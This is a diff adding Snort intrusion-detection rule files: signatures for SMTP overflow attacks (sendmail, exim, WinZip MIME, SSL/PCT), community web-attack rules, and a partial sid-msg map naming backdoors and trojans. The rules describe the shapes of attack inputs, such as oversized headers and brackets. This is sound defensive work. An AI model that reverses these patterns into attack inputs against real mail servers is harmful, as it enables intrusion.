+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SEND FROM sendmail prescan too many addresses overflow"; flow:to_server,established; content:"SEND FROM|3A|"; nocase; pcre:"/^SEND FROM\x3a\s*[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?</smi"; reference:bugtraq,6991; reference:cve,2002-1337; reference:nessus,11316; classtype:attempted-admin; sid:2261; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SEND FROM sendmail prescan too long addresses overflow"; flow:to_server,established; content:"SEND FROM|3A|"; nocase; pcre:"/^SEND FROM\x3a\s+[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}/smi"; reference:bugtraq,7230; reference:cve,2003-0161; classtype:misc-attack; sid:2262; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SAML FROM sendmail prescan too many addresses overflow"; flow:to_server,established; content:"SAML FROM|3A|"; nocase; pcre:"/^SAML FROM\x3a\s*[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?</smi"; reference:bugtraq,6991; reference:cve,2002-1337; classtype:attempted-admin; sid:2263; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SAML FROM sendmail prescan too long addresses overflow"; flow:to_server,established; content:"SAML FROM|3A|"; nocase; pcre:"/^SAML FROM\x3a\s+[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}/smi"; reference:bugtraq,7230; reference:cve,2003-0161; classtype:misc-attack; sid:2264; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SOML FROM sendmail prescan too many addresses overflow"; flow:to_server,established; content:"SOML FROM|3A|"; nocase; pcre:"/^SOML FROM\x3a\s*[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?</smi"; reference:bugtraq,6991; reference:cve,2002-1337; classtype:attempted-admin; sid:2265; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP SOML FROM sendmail prescan too long addresses overflow"; flow:to_server,established; content:"SOML FROM|3A|"; nocase; pcre:"/^SOML FROM\x3a\s+[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}/smi"; reference:bugtraq,7230; reference:cve,2003-0161; classtype:misc-attack; sid:2266; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP MAIL FROM sendmail prescan too many addresses overflow"; flow:to_server,established; content:"MAIL FROM|3A|"; nocase; pcre:"/^MAIL FROM\x3a\s*[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?</smi"; reference:bugtraq,6991; reference:cve,2002-1337; classtype:attempted-admin; sid:2267; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP MAIL FROM sendmail prescan too long addresses overflow"; flow:to_server,established; content:"MAIL FROM|3A|"; nocase; pcre:"/^MAIL FROM\x3a\s+[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}/smi"; reference:bugtraq,7230; reference:cve,2003-0161; classtype:attempted-admin; sid:2268; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP RCPT TO sendmail prescan too many addresses overflow"; flow:to_server,established; content:"RCPT TO|3A|"; nocase; pcre:"/^RCPT TO\x3a\s*[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?<[^\n]*?</smi"; reference:bugtraq,6991; reference:cve,2002-1337; classtype:attempted-admin; sid:2269; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP RCPT TO sendmail prescan too long addresses overflow"; flow:to_server,established; content:"RCPT TO|3A|"; nocase; pcre:"/^RCPT TO\x3a\s*[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}\x3b[\w\s@\.]{200,}/smi"; reference:bugtraq,7230; reference:cve,2003-0161; classtype:attempted-admin; sid:2270; rev:5;)
+alert tcp $SMTP_SERVERS 25 -> $EXTERNAL_NET any (msg:"SMTP AUTH LOGON brute force attempt"; flow:from_server,established; content:"Authentication unsuccessful"; offset:54; nocase; threshold:type threshold, track by_dst, count 5, seconds 60; classtype:suspicious-login; sid:2275; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP WinZip MIME content-type buffer overflow"; flow:to_server, established; content:"Content-Type|3A|"; nocase; pcre:"/name=[^\r\n]*?\.(mim|uue|uu|b64|bhx|hqx|xxe)/smi"; pcre:"/(name|id|number|total|boundary)=\s*[^\r\n\x3b\s\x2c]{300}/smi"; reference:bugtraq,9758; reference:cve,2004-0333; reference:nessus,12621; classtype:attempted-user; sid:2487; rev:7;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP WinZip MIME content-disposition buffer overflow"; flow:to_server, established; content:"Content-Type|3A|"; nocase; pcre:"/name=[^\r\n]*?\.(mim|uue|uu|b64|bhx|hqx|xxe)/smi"; content:"Content-Disposition|3A|"; nocase; pcre:"/name=\s*[^\r\n\x3b\s\x2c]{300}/smi"; reference:bugtraq,9758; reference:cve,2004-0333; reference:nessus,12621; classtype:attempted-user; sid:2488; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 invalid data version attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2504; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP Client_Hello overflow attempt"; flow:to_server,established; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,6; byte_test:2,!,0,8; byte_test:2,!,16,8; byte_test:2,>,20,10; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2519; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv3.client_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2538; rev:5;)
+alert tcp $SMTP_SERVERS 465 -> $EXTERNAL_NET any (msg:"SMTP SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03|"; depth:2; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2539; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2540; rev:5;)
+
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP STARTTLS attempt"; flow:to_server,established; content:"STARTTLS|0D 0A|"; within:10; flowbits:set,starttls.attempt; flowbits:noalert; classtype:protocol-command-decode; sid:2527; rev:3;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP TLS SSLv3 invalid data version attempt"; flow:to_server,established; flowbits:isset,starttls.attempt; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2541; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP PCT Client_Hello overflow attempt"; flow:to_server,established; flowbits:isset,starttls.attempt; flowbits:isnotset,sslv2.server_hello.request; flowbits:isnotset,sslv3.server_hello.request; flowbits:isnotset,tlsv1.server_hello.request; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,5; byte_test:2,!,0,7; byte_test:2,!,16,7; byte_test:2,>,20,9; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2528; rev:13;)
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 00|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2542; rev:6;)
+alert tcp $SMTP_SERVERS 25 -> $EXTERNAL_NET any (msg:"SMTP TLS SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03|"; depth:2; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2543; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 465 (msg:"SMTP SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2544; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP MAIL FROM overflow attempt"; flow:to_server,established; content:"MAIL FROM"; nocase; isdataat:260; content:!"|0A|"; within:256; reference:bugtraq,10290; reference:bugtraq,7506; reference:cve,2004-0399; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2590; rev:4;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP From command overflow attempt"; flow:to_server,established; content:"From"; nocase; pcre:"/^From\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2591; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP ReplyTo command overflow attempt"; flow:to_server,established; content:"ReplyTo"; nocase; pcre:"/^ReplyTo\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2592; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP Sender command overflow attempt"; flow:to_server,established; content:"Sender"; nocase; pcre:"/^Sender\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2593; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP To command overflow attempt"; flow:to_server,established; content:"To"; nocase; pcre:"/^To\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2594; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP CC command overflow attempt"; flow:to_server,established; content:"CC"; nocase; pcre:"/^CC\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2595; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP BCC command overflow attempt"; flow:to_server,established; content:"BCC"; nocase; pcre:"/^BCC\s{65,}\x3a/smi"; reference:bugtraq,10291; reference:cve,2004-0400; reference:url,www.guninski.com/exim1.html; classtype:attempted-admin; sid:2596; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP Content-Encoding overflow attempt"; flow:to_server,established; content:"Content-Encoding|3A|"; nocase; pcre:"/Content-Encoding\x3A[^\r\n]{300,}/i"; reference:bugtraq,7419; reference:cve,2003-0113; reference:url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx; classtype:attempted-admin; sid:3462; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP Content-Type overflow attempt"; flow:to_server,established; content:"Content-Type|3A|"; nocase; pcre:"/Content-Type\x3A[^\r\n]{300,}/i"; reference:bugtraq,7419; reference:cve,2003-0113; reference:url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx; classtype:attempted-admin; sid:3461; rev:2;)
--- snort-2.8.5.2.orig/rules/community-web-attacks.rules
+++ snort-2.8.5.2/rules/community-web-attacks.rules
@@ -0,0 +1,10 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-attacks.rules,v 1.6 2005/12/13 14:24:48 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-ATTACKS Hydra Activity Detected"; flow:to_server,established; content:"User-Agent|3A|"; nocase; content:"Hydra"; nocase; distance:0; pcre:"/^User-Agent\s*\x3A\s*Mozilla\x2f4\.0 (Hydra)/smi"; nocase; reference:url,www.thc.org/releases.php; classtype:misc-attack; sid:100000168; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-ATTACKS Amap fingerprint attempt"; flow:to_server,established; content:"|80 80 01 03 01 00 57 00 00 00 20 00 00 16 00 00 13 00 00 0a 07 00 c0 00 00 66 00 00 07 00 00 05 00 00 04 05 00 80 03 00 80 01 00 80 08 00 80 00 00 65 00 00 64 00 00 63 00 00 62 00 00 61 00 00 60 00 00 15 00 00 12 00 00 09 06 00 40 00 00 14 00 00 11 00 00 08 00 00 06 00 00 03 04 00 80 02 00 80 63 b9 b9 19 c0 2b ae 90 74 4c 73 eb 8b cf d8 55 ea d0 69 82 1b ef 23 c3 39 9b 8e b2 49 3c 5a 79|"; depth:130; classtype:web-application-activity; reference:url,www.thc.org/releases.php; sid:100000169; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Host Parameter"; flow:to_server,established; content:"Host"; nocase; pcre:"/^Host[^\r\n]{100,}/smi"; reference:bugtraq,15081; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19926; classtype:attempted-admin; sid:100000170; rev:2;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Accept Parameter"; flow:to_server,established; content:"Accept"; nocase; pcre:"/^Accept[^\r\n]{200,}/smi"; reference:bugtraq,15081; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19926; classtype:attempted-admin; sid:100000171; rev:3;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-ATTACKS SAP WAS syscmd access"; flow:to_server,established; uricontent:"/sap/bc/BSp/sap/menu/frameset.htm"; nocase; uricontent:"sap-syscmd"; nocase; reference:url,www.cybsec.com/vuln/CYBSEC_Security_Advisory_Multiple_XSS_in_SAP_WAS.pdf; classtype:web-application-activity; sid:100000183; rev:1;) 
--- snort-2.8.5.2.orig/rules/local.rules
+++ snort-2.8.5.2/rules/local.rules
@@ -0,0 +1,6 @@
+# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
+# ----------------
+# LOCAL RULES
+# ----------------
+# This file intentionally does not come with signatures.  Put your local
+# additions here.
--- snort-2.8.5.2.orig/rules/sid-msg.map
+++ snort-2.8.5.2/rules/sid-msg.map
@@ -0,0 +1,3544 @@
+103 || BACKDOOR subseven 22 || arachnids,485 || url,www.hackfix.org/subseven/
+104 || BACKDOOR - Dagger_1.4.0_client_connect || arachnids,483 || url,www.tlsecurity.net/backdoor/Dagger.1.4.html
+105 || BACKDOOR - Dagger_1.4.0 || arachnids,484 || url,www.tlsecurity.net/backdoor/Dagger.1.4.html
+106 || BACKDOOR ACKcmdC trojan scan || arachnids,445
+107 || BACKDOOR subseven DEFCON8 2.1 access
+108 || BACKDOOR QAZ Worm Client Login access || MCAFEE,98775
+109 || BACKDOOR netbus active || arachnids,401
+110 || BACKDOOR netbus getinfo || arachnids,403
+111 || BACKDOOR netbus getinfo || arachnids,403
+112 || BACKDOOR BackOrifice access || arachnids,400
+113 || BACKDOOR DeepThroat access || arachnids,405
+114 || BACKDOOR netbus active || arachnids,401
+115 || BACKDOOR NetBus Pro 2.0 connection established
+116 || BACKDOOR BackOrifice access || arachnids,399
+117 || BACKDOOR Infector.1.x || arachnids,315
+118 || BACKDOOR SatansBackdoor.2.0.Beta || arachnids,316
+119 || BACKDOOR Doly 2.0 access || arachnids,312
+120 || BACKDOOR Infector 1.6 Server to Client || cve,1999-0660 || nessus,11157
+121 || BACKDOOR Infector 1.6 Client to Server Connection Request || cve,1999-0660 || nessus,11157
+122 || BACKDOOR DeepThroat 3.1 System Info Client Request || arachnids,106
+124 || BACKDOOR DeepThroat 3.1 FTP Status Client Request || arachnids,106
+125 || BACKDOOR DeepThroat 3.1 E-Mail Info From Server || arachnids,106
+126 || BACKDOOR DeepThroat 3.1 E-Mail Info Client Request || arachnids,106
+127 || BACKDOOR DeepThroat 3.1 Server Status From Server || arachnids,106
+128 || BACKDOOR DeepThroat 3.1 Server Status Client Request || arachnids,106
+129 || BACKDOOR DeepThroat 3.1 Drive Info From Server || arachnids,106
+130 || BACKDOOR DeepThroat 3.1 System Info From Server || arachnids,106
+131 || BACKDOOR DeepThroat 3.1 Drive Info Client Request || arachnids,106
+132 || BACKDOOR DeepThroat 3.1 Server FTP Port Change From Server || arachnids,106
+133 || BACKDOOR DeepThroat 3.1 Cached Passwords Client Request || arachnids,106
+134 || BACKDOOR DeepThroat 3.1 RAS Passwords Client Request || arachnids,106
+135 || BACKDOOR DeepThroat 3.1 Server Password Change Client Request || arachnids,106
+136 || BACKDOOR DeepThroat 3.1 Server Password Remove Client Request || arachnids,106
+137 || BACKDOOR DeepThroat 3.1 Rehash Client Request || arachnids,106
+138 || BACKDOOR DeepThroat 3.1 Server Rehash Client Request || arachnids,106
+140 || BACKDOOR DeepThroat 3.1 ICQ Alert OFF Client Request || arachnids,106
+141 || BACKDOOR HackAttack 1.20 Connect
+142 || BACKDOOR DeepThroat 3.1 ICQ Alert ON Client Request || arachnids,106
+143 || BACKDOOR DeepThroat 3.1 Change Wallpaper Client Request || arachnids,106
+144 || FTP ADMw0rm ftp login attempt || arachnids,01
+145 || BACKDOOR GirlFriendaccess || arachnids,98
+146 || BACKDOOR NetSphere access || arachnids,76
+147 || BACKDOOR GateCrasher || arachnids,99
+148 || BACKDOOR DeepThroat 3.1 Keylogger Active on Network || arachnids,106
+149 || BACKDOOR DeepThroat 3.1 Client Sending Data to Server on Network || arachnids,106
+150 || BACKDOOR DeepThroat 3.1 Server Active on Network || arachnids,106
+151 || BACKDOOR DeepThroat 3.1 Client Sending Data to Server on Network || arachnids,106
+152 || BACKDOOR BackConstruction 2.1 Connection
+153 || BACKDOOR DonaldDick 1.53 Traffic || mcafee,98575
+154 || BACKDOOR DeepThroat 3.1 Wrong Password || arachnids,106
+155 || BACKDOOR NetSphere 1.31.337 access || arachnids,76
+156 || BACKDOOR DeepThroat 3.1 Visible Window List Client Request || arachnids,106
+157 || BACKDOOR BackConstruction 2.1 Client FTP Open Request
+158 || BACKDOOR BackConstruction 2.1 Server FTP Open Reply
+159 || BACKDOOR NetMetro File List || arachnids,79
+160 || BACKDOOR NetMetro Incoming Traffic || arachnids,79
+161 || BACKDOOR Matrix 2.0 Client connect || arachnids,83
+162 || BACKDOOR Matrix 2.0 Server access || arachnids,83
+163 || BACKDOOR WinCrash 1.0 Server Active || arachnids,36
+164 || BACKDOOR DeepThroat 3.1 Server Active on Network || arachnids,106
+165 || BACKDOOR DeepThroat 3.1 Keylogger on Server ON || arachnids,106
+166 || BACKDOOR DeepThroat 3.1 Show Picture Client Request || arachnids,106
+167 || BACKDOOR DeepThroat 3.1 Hide/Show Clock Client Request || arachnids,106
+168 || BACKDOOR DeepThroat 3.1 Hide/Show Desktop Client Request || arachnids,106
+169 || BACKDOOR DeepThroat 3.1 Swap Mouse Buttons Client Request || arachnids,106
+170 || BACKDOOR DeepThroat 3.1 Enable/Disable CTRL-ALT-DEL Client Request || arachnids,106
+171 || BACKDOOR DeepThroat 3.1 Freeze Mouse Client Request || arachnids,106
+172 || BACKDOOR DeepThroat 3.1 Show Dialog Box Client Request || arachnids,106
+173 || BACKDOOR DeepThroat 3.1 Show Replyable Dialog Box Client Request || arachnids,106
+174 || BACKDOOR DeepThroat 3.1 Hide/Show Start Button Client Request || arachnids,106
+175 || BACKDOOR DeepThroat 3.1 Resolution Change Client Request || arachnids,106
+176 || BACKDOOR DeepThroat 3.1 Hide/Show Start Button Client Request || arachnids,106
+177 || BACKDOOR DeepThroat 3.1 Keylogger on Server OFF || arachnids,106
+179 || BACKDOOR DeepThroat 3.1 FTP Server Port Client Request || arachnids,106
+180 || BACKDOOR DeepThroat 3.1 Process List Client request || arachnids,106
+181 || BACKDOOR DeepThroat 3.1 Close Port Scan Client Request || arachnids,106
+182 || BACKDOOR DeepThroat 3.1 Registry Add Client Request || arachnids,106
+183 || BACKDOOR SIGNATURE - Q ICMP || arachnids,202
+184 || BACKDOOR Q access || arachnids,203
+185 || BACKDOOR CDK || arachnids,263
+186 || BACKDOOR DeepThroat 3.1 Monitor on/off Client Request || arachnids,106
+187 || BACKDOOR DeepThroat 3.1 Delete File Client Request || arachnids,106
+188 || BACKDOOR DeepThroat 3.1 Kill Window Client Request || arachnids,106
+189 || BACKDOOR DeepThroat 3.1 Disable Window Client Request || arachnids,106
+190 || BACKDOOR DeepThroat 3.1 Enable Window Client Request || arachnids,106
+191 || BACKDOOR DeepThroat 3.1 Change Window Title Client Request || arachnids,106
+192 || BACKDOOR DeepThroat 3.1 Hide Window Client Request || arachnids,106
+193 || BACKDOOR DeepThroat 3.1 Show Window Client Request || arachnids,106
+194 || BACKDOOR DeepThroat 3.1 Send Text to Window Client Request || arachnids,106
+195 || BACKDOOR DeepThroat 3.1 Server Response || arachnids,106 || mcafee,98574 || nessus,10053
+196 || BACKDOOR DeepThroat 3.1 Hide/Show Systray Client Request || arachnids,106
+197 || BACKDOOR DeepThroat 3.1 Create Directory Client Request || arachnids,106
+198 || BACKDOOR DeepThroat 3.1 All Window List Client Request || arachnids,106
+199 || BACKDOOR DeepThroat 3.1 Play Sound Client Request || arachnids,106
+200 || BACKDOOR DeepThroat 3.1 Run Program Normal Client Request || arachnids,106
+201 || BACKDOOR DeepThroat 3.1 Run Program Hidden Client Request || arachnids,106
+202 || BACKDOOR DeepThroat 3.1 Get NET File Client Request || arachnids,106
+203 || BACKDOOR DeepThroat 3.1 Find File Client Request || arachnids,106
+204 || BACKDOOR DeepThroat 3.1 Find File Client Request || arachnids,106
+205 || BACKDOOR DeepThroat 3.1 HUP Modem Client Request || arachnids,106
+206 || BACKDOOR DeepThroat 3.1 CD ROM Open Client Request || arachnids,106
+207 || BACKDOOR DeepThroat 3.1 CD ROM Close Client Request || arachnids,106
+208 || BACKDOOR PhaseZero Server Active on Network
+209 || BACKDOOR w00w00 attempt || arachnids,510
+210 || BACKDOOR attempt
+211 || BACKDOOR MISC r00t attempt
+212 || BACKDOOR MISC rewt attempt
+213 || BACKDOOR MISC Linux rootkit attempt
+214 || BACKDOOR MISC Linux rootkit attempt lrkr0x
+215 || BACKDOOR MISC Linux rootkit attempt
+216 || BACKDOOR MISC Linux rootkit satori attempt || arachnids,516
+217 || BACKDOOR MISC sm4ck attempt
+218 || BACKDOOR MISC Solaris 2.5 attempt
+219 || BACKDOOR HidePak backdoor attempt
+220 || BACKDOOR HideSource backdoor attempt
+221 || DDOS TFN Probe || arachnids,443
+222 || DDOS tfn2k icmp possible communication || arachnids,425
